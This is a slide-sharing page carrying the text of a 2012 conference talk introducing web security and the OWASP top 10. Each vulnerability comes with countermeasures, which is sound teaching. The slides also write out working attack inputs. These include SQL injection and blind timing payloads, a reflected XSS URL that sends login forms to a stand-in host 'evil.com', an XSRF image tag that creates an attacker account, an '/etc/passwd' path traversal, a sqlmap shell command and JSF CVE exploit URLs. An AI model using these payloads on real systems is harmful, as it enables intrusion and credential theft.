Top 10 Web App Security RisksTop 10 Web App Security Risks
Top 10 Web App Security Risks
 
Introduction to Web security
Introduction to Web securityIntroduction to Web security
Introduction to Web security
 
Web security
Web securityWeb security
Web security
 
Web Server Web Site Security
Web Server Web Site SecurityWeb Server Web Site Security
Web Server Web Site Security
 
Web Application Security
Web Application SecurityWeb Application Security
Web Application Security
 
Extreme security in web servers
Extreme security in  web serversExtreme security in  web servers
Extreme security in web servers
 
DrupalCamp London 2017 - Web site insecurity
DrupalCamp London 2017 - Web site insecurity DrupalCamp London 2017 - Web site insecurity
DrupalCamp London 2017 - Web site insecurity
 
Web Security
Web SecurityWeb Security
Web Security
 
Tutorial 09 - Security on the Internet and the Web
Tutorial 09 - Security on the Internet and the WebTutorial 09 - Security on the Internet and the Web
Tutorial 09 - Security on the Internet and the Web
 
Top 10 Web Security Vulnerabilities
Top 10 Web Security VulnerabilitiesTop 10 Web Security Vulnerabilities
Top 10 Web Security Vulnerabilities
 
網頁安全 Web security 入門 @ Study-Area
網頁安全 Web security 入門 @ Study-Area網頁安全 Web security 入門 @ Study-Area
網頁安全 Web security 入門 @ Study-Area
 
Web security
Web securityWeb security
Web security
 
Lecture 6 web security
Lecture 6 web securityLecture 6 web security
Lecture 6 web security
 

Similar to Introduction to web security @ confess 2012

IPv6 Security Talk mit Joe Klein
IPv6 Security Talk mit Joe KleinIPv6 Security Talk mit Joe Klein
IPv6 Security Talk mit Joe KleinDigicomp Academy AG
 
Detecting Evasive Malware in Sandbox
Detecting Evasive Malware in SandboxDetecting Evasive Malware in Sandbox
Detecting Evasive Malware in SandboxRahul Mohandas
 
Discovering Vulnerabilities For Fun and Profit
Discovering Vulnerabilities For Fun and ProfitDiscovering Vulnerabilities For Fun and Profit
Discovering Vulnerabilities For Fun and ProfitAbhisek Datta
 
Metasploitation part-1 (murtuja)
Metasploitation part-1 (murtuja)Metasploitation part-1 (murtuja)
Metasploitation part-1 (murtuja)ClubHack
 
Top 10 Threats to Cloud Security
Top 10 Threats to Cloud SecurityTop 10 Threats to Cloud Security
Top 10 Threats to Cloud SecuritySBWebinars
 
John adams talk cloudy
John adams   talk cloudyJohn adams   talk cloudy
John adams talk cloudyJohn Adams
 
Securing your Cloud Environment v2
Securing your Cloud Environment v2Securing your Cloud Environment v2
Securing your Cloud Environment v2ShapeBlue
 
Open Source Cyber Weaponry
Open Source Cyber WeaponryOpen Source Cyber Weaponry
Open Source Cyber WeaponryJoshua L. Davis
 
Chirp 2010: Scaling Twitter
Chirp 2010: Scaling TwitterChirp 2010: Scaling Twitter
Chirp 2010: Scaling TwitterJohn Adams
 
Understanding container security
Understanding container securityUnderstanding container security
Understanding container securityJohn Kinsella
 
DEF CON 27 - ORANGE TSAI and MEH CHANG - infiltrating corporate intranet like...
DEF CON 27 - ORANGE TSAI and MEH CHANG - infiltrating corporate intranet like...DEF CON 27 - ORANGE TSAI and MEH CHANG - infiltrating corporate intranet like...
DEF CON 27 - ORANGE TSAI and MEH CHANG - infiltrating corporate intranet like...Felipe Prado
 
Jaime Blasco - Fighting Advanced Persistent Threat (APT) with Open Source Too...
Jaime Blasco - Fighting Advanced Persistent Threat (APT) with Open Source Too...Jaime Blasco - Fighting Advanced Persistent Threat (APT) with Open Source Too...
Jaime Blasco - Fighting Advanced Persistent Threat (APT) with Open Source Too...RootedCON
 
The Hacking Games - A Road to Post Exploitation Meetup - 20240222.pptx
The Hacking Games - A Road to Post Exploitation Meetup - 20240222.pptxThe Hacking Games - A Road to Post Exploitation Meetup - 20240222.pptx
The Hacking Games - A Road to Post Exploitation Meetup - 20240222.pptxlior mazor
 
Why Kubernetes as a container orchestrator is a right choice for running spar...
Why Kubernetes as a container orchestrator is a right choice for running spar...Why Kubernetes as a container orchestrator is a right choice for running spar...
Why Kubernetes as a container orchestrator is a right choice for running spar...DataWorks Summit
 
Automated Malware Analysis and Cyber Security Intelligence
Automated Malware Analysis and Cyber Security IntelligenceAutomated Malware Analysis and Cyber Security Intelligence
Automated Malware Analysis and Cyber Security IntelligenceJason Choi
 
Workshop on Network Security
Workshop on Network SecurityWorkshop on Network Security
Workshop on Network SecurityUC San Diego
 
The Core of Microservice Architecture(First Approach)
The Core of Microservice Architecture(First Approach)The Core of Microservice Architecture(First Approach)
The Core of Microservice Architecture(First Approach)enyert
 
Secure Application Development in the Age of Continuous Delivery
Secure Application Development in the Age of Continuous DeliverySecure Application Development in the Age of Continuous Delivery
Secure Application Development in the Age of Continuous DeliveryBlack Duck by Synopsys
 

Similar to Introduction to web security @ confess 2012 (20)

IPv6 Security Talk mit Joe Klein
IPv6 Security Talk mit Joe KleinIPv6 Security Talk mit Joe Klein
IPv6 Security Talk mit Joe Klein
 
Detecting Evasive Malware in Sandbox
Detecting Evasive Malware in SandboxDetecting Evasive Malware in Sandbox
Detecting Evasive Malware in Sandbox
 
Malware cryptomining uploadv3
Malware cryptomining uploadv3Malware cryptomining uploadv3
Malware cryptomining uploadv3
 
Discovering Vulnerabilities For Fun and Profit
Discovering Vulnerabilities For Fun and ProfitDiscovering Vulnerabilities For Fun and Profit
Discovering Vulnerabilities For Fun and Profit
 
Metasploitation part-1 (murtuja)
Metasploitation part-1 (murtuja)Metasploitation part-1 (murtuja)
Metasploitation part-1 (murtuja)
 
Top 10 Threats to Cloud Security
Top 10 Threats to Cloud SecurityTop 10 Threats to Cloud Security
Top 10 Threats to Cloud Security
 
John adams talk cloudy
John adams   talk cloudyJohn adams   talk cloudy
John adams talk cloudy
 
Securing your Cloud Environment v2
Securing your Cloud Environment v2Securing your Cloud Environment v2
Securing your Cloud Environment v2
 
Open Source Cyber Weaponry
Open Source Cyber WeaponryOpen Source Cyber Weaponry
Open Source Cyber Weaponry
 
Chirp 2010: Scaling Twitter
Chirp 2010: Scaling TwitterChirp 2010: Scaling Twitter
Chirp 2010: Scaling Twitter
 
Understanding container security
Understanding container securityUnderstanding container security
Understanding container security
 
DEF CON 27 - ORANGE TSAI and MEH CHANG - infiltrating corporate intranet like...
DEF CON 27 - ORANGE TSAI and MEH CHANG - infiltrating corporate intranet like...DEF CON 27 - ORANGE TSAI and MEH CHANG - infiltrating corporate intranet like...
DEF CON 27 - ORANGE TSAI and MEH CHANG - infiltrating corporate intranet like...
 
Jaime Blasco - Fighting Advanced Persistent Threat (APT) with Open Source Too...
Jaime Blasco - Fighting Advanced Persistent Threat (APT) with Open Source Too...Jaime Blasco - Fighting Advanced Persistent Threat (APT) with Open Source Too...
Jaime Blasco - Fighting Advanced Persistent Threat (APT) with Open Source Too...
 
The Hacking Games - A Road to Post Exploitation Meetup - 20240222.pptx
The Hacking Games - A Road to Post Exploitation Meetup - 20240222.pptxThe Hacking Games - A Road to Post Exploitation Meetup - 20240222.pptx
The Hacking Games - A Road to Post Exploitation Meetup - 20240222.pptx
 
Cont0519
Cont0519Cont0519
Cont0519
 
Why Kubernetes as a container orchestrator is a right choice for running spar...
Why Kubernetes as a container orchestrator is a right choice for running spar...Why Kubernetes as a container orchestrator is a right choice for running spar...
Why Kubernetes as a container orchestrator is a right choice for running spar...
 
Automated Malware Analysis and Cyber Security Intelligence
Automated Malware Analysis and Cyber Security IntelligenceAutomated Malware Analysis and Cyber Security Intelligence
Automated Malware Analysis and Cyber Security Intelligence
 
Workshop on Network Security
Workshop on Network SecurityWorkshop on Network Security
Workshop on Network Security
 
The Core of Microservice Architecture(First Approach)
The Core of Microservice Architecture(First Approach)The Core of Microservice Architecture(First Approach)
The Core of Microservice Architecture(First Approach)
 
Secure Application Development in the Age of Continuous Delivery
Secure Application Development in the Age of Continuous DeliverySecure Application Development in the Age of Continuous Delivery
Secure Application Development in the Age of Continuous Delivery
 

Recently uploaded

Presentation on how to chat with PDF using ChatGPT code interpreter
Presentation on how to chat with PDF using ChatGPT code interpreterPresentation on how to chat with PDF using ChatGPT code interpreter
Presentation on how to chat with PDF using ChatGPT code interpreternaman860154
 
Histor y of HAM Radio presentation slide
Histor y of HAM Radio presentation slideHistor y of HAM Radio presentation slide
Histor y of HAM Radio presentation slidevu2urc
 
🐬 The future of MySQL is Postgres 🐘
🐬  The future of MySQL is Postgres   🐘🐬  The future of MySQL is Postgres   🐘
🐬 The future of MySQL is Postgres 🐘RTylerCroy
 
Finology Group – Insurtech Innovation Award 2024
Finology Group – Insurtech Innovation Award 2024Finology Group – Insurtech Innovation Award 2024
Finology Group – Insurtech Innovation Award 2024The Digital Insurer
 
04-2024-HHUG-Sales-and-Marketing-Alignment.pptx
04-2024-HHUG-Sales-and-Marketing-Alignment.pptx04-2024-HHUG-Sales-and-Marketing-Alignment.pptx
04-2024-HHUG-Sales-and-Marketing-Alignment.pptxHampshireHUG
 
Powerful Google developer tools for immediate impact! (2023-24 C)
Powerful Google developer tools for immediate impact! (2023-24 C)Powerful Google developer tools for immediate impact! (2023-24 C)
Powerful Google developer tools for immediate impact! (2023-24 C)wesley chun
 
How to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected WorkerHow to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected WorkerThousandEyes
 
Evaluating the top large language models.pdf
Evaluating the top large language models.pdfEvaluating the top large language models.pdf
Evaluating the top large language models.pdfChristopherTHyatt
 
How to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected WorkerHow to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected WorkerThousandEyes
 
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...Drew Madelung
 
Exploring the Future Potential of AI-Enabled Smartphone Processors
Exploring the Future Potential of AI-Enabled Smartphone ProcessorsExploring the Future Potential of AI-Enabled Smartphone Processors
Exploring the Future Potential of AI-Enabled Smartphone Processorsdebabhi2
 
EIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptx
EIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptxEIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptx
EIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptxEarley Information Science
 
GenCyber Cyber Security Day Presentation
GenCyber Cyber Security Day PresentationGenCyber Cyber Security Day Presentation
GenCyber Cyber Security Day PresentationMichael W. Hawkins
 
Workshop - Best of Both Worlds_ Combine KG and Vector search for enhanced R...
Workshop - Best of Both Worlds_ Combine  KG and Vector search for  enhanced R...Workshop - Best of Both Worlds_ Combine  KG and Vector search for  enhanced R...
Workshop - Best of Both Worlds_ Combine KG and Vector search for enhanced R...Neo4j
 
How to convert PDF to text with Nanonets
How to convert PDF to text with NanonetsHow to convert PDF to text with Nanonets
How to convert PDF to text with Nanonetsnaman860154
 
CNv6 Instructor Chapter 6 Quality of Service
CNv6 Instructor Chapter 6 Quality of ServiceCNv6 Instructor Chapter 6 Quality of Service
CNv6 Instructor Chapter 6 Quality of Servicegiselly40
 
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024The Digital Insurer
 
Scaling API-first – The story of a global engineering organization
Scaling API-first – The story of a global engineering organizationScaling API-first – The story of a global engineering organization
Scaling API-first – The story of a global engineering organizationRadu Cotescu
 
Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...
Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...
Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...apidays
 
Artificial Intelligence: Facts and Myths
Artificial Intelligence: Facts and MythsArtificial Intelligence: Facts and Myths
Artificial Intelligence: Facts and MythsJoaquim Jorge
 

Recently uploaded (20)

Presentation on how to chat with PDF using ChatGPT code interpreter
Presentation on how to chat with PDF using ChatGPT code interpreterPresentation on how to chat with PDF using ChatGPT code interpreter
Presentation on how to chat with PDF using ChatGPT code interpreter
 
Histor y of HAM Radio presentation slide
Histor y of HAM Radio presentation slideHistor y of HAM Radio presentation slide
Histor y of HAM Radio presentation slide
 
🐬 The future of MySQL is Postgres 🐘
🐬  The future of MySQL is Postgres   🐘🐬  The future of MySQL is Postgres   🐘
🐬 The future of MySQL is Postgres 🐘
 
Finology Group – Insurtech Innovation Award 2024
Finology Group – Insurtech Innovation Award 2024Finology Group – Insurtech Innovation Award 2024
Finology Group – Insurtech Innovation Award 2024
 
04-2024-HHUG-Sales-and-Marketing-Alignment.pptx
04-2024-HHUG-Sales-and-Marketing-Alignment.pptx04-2024-HHUG-Sales-and-Marketing-Alignment.pptx
04-2024-HHUG-Sales-and-Marketing-Alignment.pptx
 
Powerful Google developer tools for immediate impact! (2023-24 C)
Powerful Google developer tools for immediate impact! (2023-24 C)Powerful Google developer tools for immediate impact! (2023-24 C)
Powerful Google developer tools for immediate impact! (2023-24 C)
 
How to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected WorkerHow to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected Worker
 
Evaluating the top large language models.pdf
Evaluating the top large language models.pdfEvaluating the top large language models.pdf
Evaluating the top large language models.pdf
 
How to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected WorkerHow to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected Worker
 
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
 
Exploring the Future Potential of AI-Enabled Smartphone Processors
Exploring the Future Potential of AI-Enabled Smartphone ProcessorsExploring the Future Potential of AI-Enabled Smartphone Processors
Exploring the Future Potential of AI-Enabled Smartphone Processors
 
EIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptx
EIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptxEIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptx
EIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptx
 
GenCyber Cyber Security Day Presentation
GenCyber Cyber Security Day PresentationGenCyber Cyber Security Day Presentation
GenCyber Cyber Security Day Presentation
 
Workshop - Best of Both Worlds_ Combine KG and Vector search for enhanced R...
Workshop - Best of Both Worlds_ Combine  KG and Vector search for  enhanced R...Workshop - Best of Both Worlds_ Combine  KG and Vector search for  enhanced R...
Workshop - Best of Both Worlds_ Combine KG and Vector search for enhanced R...
 
How to convert PDF to text with Nanonets
How to convert PDF to text with NanonetsHow to convert PDF to text with Nanonets
How to convert PDF to text with Nanonets
 
CNv6 Instructor Chapter 6 Quality of Service
CNv6 Instructor Chapter 6 Quality of ServiceCNv6 Instructor Chapter 6 Quality of Service
CNv6 Instructor Chapter 6 Quality of Service
 
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
 
Scaling API-first – The story of a global engineering organization
Scaling API-first – The story of a global engineering organizationScaling API-first – The story of a global engineering organization
Scaling API-first – The story of a global engineering organization
 
Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...
Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...
Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...
 
Artificial Intelligence: Facts and Myths
Artificial Intelligence: Facts and MythsArtificial Intelligence: Facts and Myths
Artificial Intelligence: Facts and Myths
 

Introduction to web security @ confess 2012

  • 1. Introduction to web security Jakob Korherr 1
  • 2. Agenda • $ whoami • Basics of (web) security • Web application architecture • OWASP top 10 • SQL injection • Cross site scripting (XSS) • Cross site request forgery (XSRF) • Path traversal • Poor session management • JSF 2 vulnerabilities • Buffer overflows 2
  • 3. $ whoami • Jakob Korherr • Software engineer @ IRIAN Solutions GmbH • Apache MyFaces committer and PMC member • JSF 2.2 expert group member • Student @ Vienna University of Technology • Member of the winning team of the 2011 international capture the flag contest • http://www.jakobk.com • @jakobkorherr 3
  • 5. Why Security? Year # of reported vulnerabilities 1988 2 1989 3 1990 11 ... ... 1998 246 1999 894 2000 1020 2001 1677 2002 2156 ... ... 2006 6608 2007 6514 2008 5632 2009 5733 2010 4639 2011 4151 Source: http://web.nvd.nist.gov 5
  • 6. Who is a h4xX0r? • 24/7 in front of his computer • Living in his parents‘ basement • Long hair and beard • Plump • Socially awkward • ... 6
  • 7. Who is a h4xX0r? • 24/7 in front of his computer • Living in his parents‘ basement • Long hair and beard • Plump • Socially awkward • ... 6
  • 8. Who is a h4xX0r? NG • 24/7 in front of his computer • Living in his parents‘ basement • Long hair and beard O • Plump • Socially awkward R • ... W 6
  • 9. Who is a h4xX0r (really)? • Hackers want to understand things ... • ... down to the last detail • l33t sp34k • Why do people hack into systems? • Recognition • Admiration • Curiosity • Power & Gain • Revenge • M.O.N.E.Y 7
  • 10. Who is a h4xX0r (really)? • Hackers want to understand things ... • ... down to the last detail • l33t sp34k • Why do people hack into systems? • Recognition • Admiration • Curiosity • Power & Gain • Revenge • M.O.N.E.Y 7
  • 11. The biggest problems • Software development is perceived as • being easy (anyone can do it) • a matter of copying and pasting code snippets (including vulnerabilities) • System and network administrators are not prepared • Insufficient resources • Lack of training • Intruders are now leveraging the availability of broadband connections • Many connected home computers are vulnerable • Collections of compromised home computers are “good“ weapons (e.g., for DDOS, Spam, etc.). 8
  • 12. The biggest problems (2) • Typical users are not aware of possible problems • Security is not part of the development process • Security fixes on a “on-demand-basis” • Insecurity by design • Fixing bugs is more important than closing possible security holes • Security is hard to measure • How likely is an abuse of a vulnerability? • How much does it cost when it happens? • How much would it cost to tackle it right away? 9
  • 13. Sicherheitslucken ¨ The biggest problems (3) Software implementation Software specification (Unknown) side effects Missing or wrong functionality (Vergleiche Thompson: Why security testing is hard, 2003) Internet Security SS10 | Hardening Systems 7 / 46 10
  • 14. Methods of attacking • Eavesdropping • getting copies of information without authorization • Masquerading • sending messages with other‘s identity • Message tampering • change content of message • Replaying • store a message and send it again later • Exploiting • using bugs in software to get access to a host • Combinations • Social engineering 11
  • 15. Methods of attacking • Eavesdropping • getting copies of information without authorization • Masquerading • sending messages with other‘s identity • Message tampering • change content of message • Replaying • store a message and send it again later • Exploiting • using bugs in software to get access to a host • Combinations • Social engineering 11
  • 16. Social engineering • Semi-technical attacks • „Amateurs attack machines, professionals attack people“ • Attack the weakest Link • Dumpster diving • Piggybacking • Masquerading (over the phone) • Phishing e-mails • Information Retrieval • Company website (job ads!) • Social networks • ... 12
  • 17. Countermeasures • User awareness + education • „Security is a process, not a product“ (Bruce Schneier) • Stay up to date • Update systems regularly (auto update!?) • Check Common Vulnerabilities and Exposures (CVE) lists • Principle of least privilege • Use knowledge obtained in this session (and in the workshop!) 13
  • 19. Typical architecture Client 1 Webserver Database-Server Client 2 Client n 15
  • 20. Typical architecture Client 1 Webserver Database-Server Client 2 Webserver Application-Server Database-Server Client n 15
  • 21. Typical architecture Apache2 + PHP, Perl Tomcat, Jetty, ... Python webserver ... Client 1 Webserver Database-Server Client 2 Webserver Application-Server Database-Server Client n 15
  • 22. Typical architecture Apache2 + PHP, Perl Tomcat, Jetty, ... Python webserver ... MySQL, MSSQL, Oracle 11g, PostgreSQL,... Client 1 Webserver Database-Server Client 2 Webserver Application-Server Database-Server Client n 15
  • 23. Typical architecture Apache2 + PHP, Perl Tomcat, Jetty, ... Python webserver ... MySQL, MSSQL, Oracle 11g, PostgreSQL,... Client 1 Webserver Database-Server EJB-Container Client 2 Webserver Application-Server Database-Server Client n 15
  • 25. Open Web Application Security Project - Top 10 1. Injection 2. Cross-Site Scripting (XSS) 3. Broken Authentication and Session Management 4. Insecure Direct Object References 5. Cross-Site Request Forgery (CSRF) 6. Security Misconfiguration 7. Insecure Cryptographic Storage 8. Failure to Restrict URL Access 9. Insufficient Transport Layer Protection 10. Unvalidated Redirects and Forwards Source: https://www.owasp.org/index.php/Top_10_2010-Main 17
  • 26. Open Web Application Security Project - Top 10 1. Injection 2. Cross-Site Scripting (XSS) 3. Broken Authentication and Session Management 4. Insecure Direct Object References 5. Cross-Site Request Forgery (CSRF) 6. Security Misconfiguration 7. Insecure Cryptographic Storage 8. Failure to Restrict URL Access 9. Insufficient Transport Layer Protection 10. Unvalidated Redirects and Forwards 18
  • 27. Open Web Application Security Project - Top 10 1. Injection 2. Cross-Site Scripting (XSS) 3. Broken Authentication and Session Management 4. Insecure Direct Object References 5. Cross-Site Request Forgery (CSRF) 6. Security Misconfiguration 7. Insecure Cryptographic Storage 8. Failure to Restrict URL Access 9. Insufficient Transport Layer Protection 10. Unvalidated Redirects and Forwards • Buffer overflows • used to be #5 (in 2004) • pretty good countermeasures available 18
  • 29. SQL injection - Example • Web application login form • username • password • SQL statement checking the login data String stmt = "SELECT * FROM users " + "WHERE username='" + username + "' " + "AND password='" + password + "';"; • Nice user: „peter“ + „superstrongpwd“ ... WHERE username='peter' AND password='superstrongpwd'; • Bad user: „jakob“ + „' OR 1=1;-- “ ... WHERE username='jakob' AND password='' OR 1=1;-- '; 20
  • 30. Definition • SQL injection is a mechanism • to change the semantics of a given SQL query • by providing special input • not thought of by the developer • Various forms of SQL injection • „normal“ • semi-blind • blind • SQL injection can be used to • Read and write data • Read and write files • Create a Reverse-Shell --> SSH connection • ... 21
  • 31. „Normal“ SQL injection • SQL injection on querys that produce output • list of customers, products,... • details of a specific customer • ... • --> Produces immediate result • Example stmt = "SELECT id, firstname, lastname FROM customers " + "WHERE city='" + city + "';"; • Exploit ' UNION SELECT id, username, password FROM users;-- • Result SELECT id, firstname, lastname FROM customers WHERE city='' UNION SELECT id, username, password FROM users;-- '; 22
  • 32. Semi-Blind SQL injection • SQL injection on querys that do not produce output, but show (error) messages • Login forms • Forgotten password forms • UPDATE, INSERT queries • Example "SELECT * FROM user WHERE email='" + email + "';" • Messages • „Valid e-mail address.“ • „No user with given e-mail address found.“ 23
  • 33. Semi-Blind SQL injection - Approach #1 • Use (error) messages to detect if injected condition is true or false • First: Find a valid e-mail address in the system, e.g. „asdf@asdf.com“ • --> Message: „Valid e-mail address.“ • Second: Break the query ...WHERE email='asdf@asdf.com' AND 1=0;-- ' • --> Message: „No user with given e-mail address found.“ • Third: Use subqueries to extract information asdf@asdf.com' AND (SELECT substr(password,1,1) FROM user WHERE username='admin')='a';-- • „Valid e-mail address.“ --> First char in password of admin is an 'a‘ • „No user with given e-mail address found.“ --> ... is not an 'a‘ • --> Use binary search! 24
  • 34. Semi-Blind SQL injection - Approach #2 • Use error messages of database to deliver payload • Method #1: Deliberately create SQL statements that fail • e.g. sub-query that returns one result or more than one result • Use same idea as before --> binary search • Method #2: Use DB functions that can deliver payload in their error messages • e.g. utl_inaddr.get_host_name('whatever') from Oracle • --> ORA-29257: host 'whatever' unknown ' OR utl_inaddr.get_host_name( SELECT password FROM user WHERE username='admin')='xyz';-- • --> ORA-29257: host 'adminpwd' unknown 25
  • 35. Blind SQL injection • No output, no (error) messages • --> use other metric, e.g. response time of website • Inject a boolean condition (as we had before) • + add a very heavy calculation (takes time!) asdf@asdf.com' AND (SELECT substr(password,1,1) FROM user WHERE username='admin')='a' AND BENCHMARK(1000000,ENCODE('hello','goodbye'));-- • Condition is true: BENCHMARK is executed --> response time e.g. 5 seconds • Condition is false: BENCHM. is not executed --> response time e.g. 0.1 seconds 26
  • 36. Tool support • sqlmap • http://sqlmap.sourceforge.net/ • „sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers.“ • python script • lots of features python sqlmap.py -u http://acme.com/show_customer.php?id=1 -p id --sql-shell • --> Workshop! 27
  • 37. Countermeasures • First idea: Escape all user inputs • very easy to forget something (new/unknown database features) • attackers are creative! • use ascii(substr(password,1,1)) = 65 • instead of substr(password,1,1) = 'A' • Use PREPARED STATEMENTS String query = "SELECT * FROM user WHERE email=?;" PreparedStatement ps = connection.prepareStatement(query); ps.setString(1, email); ResultSet rs = ps.executeQuery(); • White listing of user input • Do not show error messages from the database server • Put the database server and the web server on separate (virtual) machines 28
  • 38. Countermeasures • First idea: Escape all user inputs • very easy to forget something (new/unknown database features) • attackers are creative! • use ascii(substr(password,1,1)) = 65 • instead of substr(password,1,1) = 'A' • Use PREPARED STATEMENTS String query = "SELECT * FROM user WHERE email=?;" PreparedStatement ps = connection.prepareStatement(query); ps.setString(1, email); ResultSet rs = ps.executeQuery(); • White listing of user input • Do not show error messages from the database server • Put the database server and the web server on separate (virtual) machines 28
  • 40. Cross site scripting (XSS) • Insert malicious JavaScript into other (trusted) websites • Stored XSS • JavaScript permanently stored • e.g. forum post, blog comment • Reflected XSS • JavaScript injected via URL (parameters) • e.g. error messages • Needs social engineering • Usages • User login data stealing • Browser history stealing • Exploiting of browser vulnerabilities 30
  • 41. XSS - Example • Login form • Username and password • Submits to http://acme.com/login.php • Form submit using invalid data • Redirect to http://acme.com/login.php?msg=Invalid%20login%20data • msg URL parameter included in HTML • Attacker can use msg parameter to add malicious JavaScript --> reflected XSS window.onload = function() { document.forms[0].action= 'http://evil.com/steal_data.php'; }; http://acme.com/login.php?msg=%3Cscript%3Ewindow.onload%20%3D %20function%28%29%20%7Bdocument.forms%5B0%5D.action%3D%27http%3A %2f%2fevil.com%2fsteal_data.php%27%3B%7D%3B%3C%2fscript%3E 31
  • 42. Countermeasures • Encode every variable included in HTML • User input (e.g. forum posts) • Application data transported via URLs or cookies (e.g. messages) • Use correct encoding method, depending on place in HTML • HTML element content --> HTML escape • HTML attribute content --> attribute escape • JavaScript data values --> JavaScript escape • HTML style properties --> CSS escape • HTML URL parameter values --> URL escape • White listing! 32
  • 43. Cross site request forgery (XSRF) 33
  • 44. Cross site request forgery (XSRF) • Trick users into executing unwanted actions • on other web applications • he/she is currently authenticated at • One browser session for all browser tabs (and windows) • Needs social engineering • Link distribution 34
  • 45. XSRF - Example • Company web application • Action to add a new user • http://acme.com/admin/add_user.php?username=username&pwd=pwd • Admin currently logged in • Gets link from attacker to http://fun.com/you_gotta_see_this.html ... <img src="http://acme.com/admin/add_user.php? username=attacker&pwd=attackerpwd" /> ... • Browser loads the "image" • Adds session-ID for acme.com in the request • --> Admin unintentionally creates new user for attacker 35
  • 46. Countermeasures • Just use POST instead of GET requests for data manipulation? • NO!!!! • Attacker can trick user into clicking on form that issues a POST request • or attacker can insert JavaScript that issues POST request • Nevertheless: it's a good idea to use POST requests • Use shared secret (anti XSRF token) • Use random request parameter names } do not forget XSS! 36
  • 48. Path traversal • OWASP "Insecure direct object reference" • Application references resources directly via name/identifier • Attacker can guess name/identifier of "hidden" resources and access them • Example • Web application showing files of the user's home directory • http://acme.com/list_user_files.php • test.txt • hello_world.txt • ... • http://acme.com/show_file.php?file=test.txt • Exploit • http://acme.com/show_file.php?file=../../../../etc/passwd 38
  • 49. Countermeasures • White listing of user inputs • Good idea, but easy to forget something • e.g. just remove "../" from beginning • --> show_file.php?file=folder/../../../../etc/passwd • Better: Reference resources via (temporary) identifiers • http://acme.com/list_user_files.php • test.txt --> 0 • hello_world.txt --> 1 • ... --> n • http://acme.com/show_file.php?file=0 39
  • 51. Poor session management • OWASP "Broken Authentication and Session Management" • Cryptographically weak session IDs • Guessing of valid session ID • Brute force • --> Standard session IDs (Apache2, Tomcat,...) are strong! • Social engineering • Attacker (masquerading as admin) sends e-mail to user • "You need to do ..." • "Please login using this link" • http://acme.com/login.php?PHPSESSID=123456789ABCDEF • --> Attacker waits until user logs in • --> Attacker uses same session ID as user --> gets access to the application 41
  • 52. Countermeasures • Bind session ID to IP address? • Can cause lots of problems • Cryptographically strong session IDs • Use standard session ID generators (proofed to be secure) • Do not use "home grown" algorithms • After user login destroy the old session (used for the login) • and use a new one --> new session ID HttpSession session = request.getSession(); // old session // use old session --> authenticate user session.invalidate(); // destroy old session session = request.getSession(true); // create new session // use new session to store auth-tokens,... 42
  • 54. JSF 2 vulnerabilities • CVE-2011-4367: Path traversal attack in ResourceHandler • February 2012 • MyFaces Core 2.0.0 - 2.0.11 and 2.1.0 - 2.1.5 • http://<hostname>:<port>/<context-root>/faces/ javax.faces.resource/web.xml?ln=../WEB-INF • CVE-2011-4343: ValueExpression injection vulnerability • December 2011 • Mojarra 2.0.0 - 2.0.6 and 2.1.0 - 2.1.4 • MyFaces Core 2.0.1 - 2.0.10 and 2.1.0 - 2.1.4 • <f:viewParam name="p" value="#{bean.value}" /> • --> http://acme.com/faces/test.xhtml?p=#{user.password} • --> Invoke navigation case using includeViewParams=true • JSF re-evaluates value of view parameter p --> #{user.password} 44
  • 55. JSF 2 vulnerabilities • CVE-2011-4367: Path traversal attack in ResourceHandler • February 2012 • MyFaces Core 2.0.0 - 2.0.11 and 2.1.0 - 2.1.5 • http://<hostname>:<port>/<context-root>/faces/ javax.faces.resource/web.xml?ln=../WEB-INF • CVE-2011-4343: ValueExpression injection vulnerability • December 2011 • Mojarra 2.0.0 - 2.0.6 and 2.1.0 - 2.1.4 • MyFaces Core 2.0.1 - 2.0.10 and 2.1.0 - 2.1.4 • <f:viewParam name="p" value="#{bean.value}" /> • --> http://acme.com/faces/test.xhtml?p=#{user.password} • --> Invoke navigation case using includeViewParams=true • JSF re-evaluates value of view parameter p --> #{user.password} 44
